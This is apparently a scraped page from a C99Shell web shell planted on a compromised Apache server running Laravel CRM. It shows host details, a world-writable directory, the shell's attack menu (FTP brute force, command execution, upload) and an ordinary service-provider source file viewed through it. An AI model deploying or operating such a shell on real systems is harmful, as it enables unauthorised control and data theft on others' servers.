!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Providers/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AdminServiceProvider.php (3.02 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Providers;

use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Illuminate\Database\Eloquent\Relations\Relation;
use 
Illuminate\Foundation\AliasLoader;
use 
Illuminate\Routing\Router;
use 
Illuminate\Support\Facades\Blade;
use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Support\ServiceProvider;
use 
Webkul\Admin\Exceptions\Handler;
use 
Webkul\Admin\Http\Middleware\Bouncer as BouncerMiddleware;
use 
Webkul\Admin\Http\Middleware\Locale;

class 
AdminServiceProvider extends ServiceProvider
{
    
/**
     * Bootstrap services.
     */
    
public function boot(Router $router): void
    
{
        
$router->aliasMiddleware('user'BouncerMiddleware::class);

        
$router->aliasMiddleware('admin_locale'Locale::class);

        include 
__DIR__.'/../Http/helpers.php';

        
Route::middleware(['web''admin_locale''user'])
            ->
prefix(config('app.admin_path'))
            ->
group(__DIR__.'/../Routes/Admin/web.php');

        
Route::middleware(['web''admin_locale'])
            ->
group(__DIR__.'/../Routes/Front/web.php');

        
$this->loadMigrationsFrom(__DIR__.'/../Database/Migrations');

        
$this->loadTranslationsFrom(__DIR__.'/../Resources/lang''admin');

        
$this->loadViewsFrom(__DIR__.'/../Resources/views''admin');

        
Blade::anonymousComponentPath(__DIR__.'/../Resources/views/components''admin');

        
$this->app->bind(ExceptionHandler::class, Handler::class);

        
Relation::morphMap([
            
'leads'         => \Webkul\Lead\Models\Lead::class,
            
'organizations' => \Webkul\Contact\Models\Organization::class,
            
'persons'       => \Webkul\Contact\Models\Person::class,
            
'products'      => \Webkul\Product\Models\Product::class,
            
'quotes'        => \Webkul\Quote\Models\Quote::class,
            
'warehouses'    => \Webkul\Warehouse\Models\Warehouse::class,
        ]);

        
$this->app->register(EventServiceProvider::class);
    }

    
/**
     * Register services.
     *
     * @return void
     */
    
public function register()
    {
        
$this->registerFacades();

        
$this->registerConfig();
    }

    
/**
     * Register Bouncer as a singleton.
     */
    
protected function registerFacades(): void
    
{
        
$loader AliasLoader::getInstance();

        
$loader->alias('Bouncer'\Webkul\Admin\Facades\Bouncer::class);

        
$this->app->singleton('bouncer', function () {
            return new 
\Webkul\Admin\Bouncer;
        });
    }

    
/**
     * Register package config.
     */
    
protected function registerConfig(): void
    
{
        
$this->mergeConfigFrom(dirname(__DIR__).'/Config/acl.php''acl');

        
$this->mergeConfigFrom(dirname(__DIR__).'/Config/menu.php''menu.admin');

        
$this->mergeConfigFrom(dirname(__DIR__).'/Config/core_config.php''core_config');

        
$this->mergeConfigFrom(dirname(__DIR__).'/Config/attribute_lookups.php''attribute_lookups');

        
$this->mergeConfigFrom(dirname(__DIR__).'/Config/attribute_entity_types.php''attribute_entity_types');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--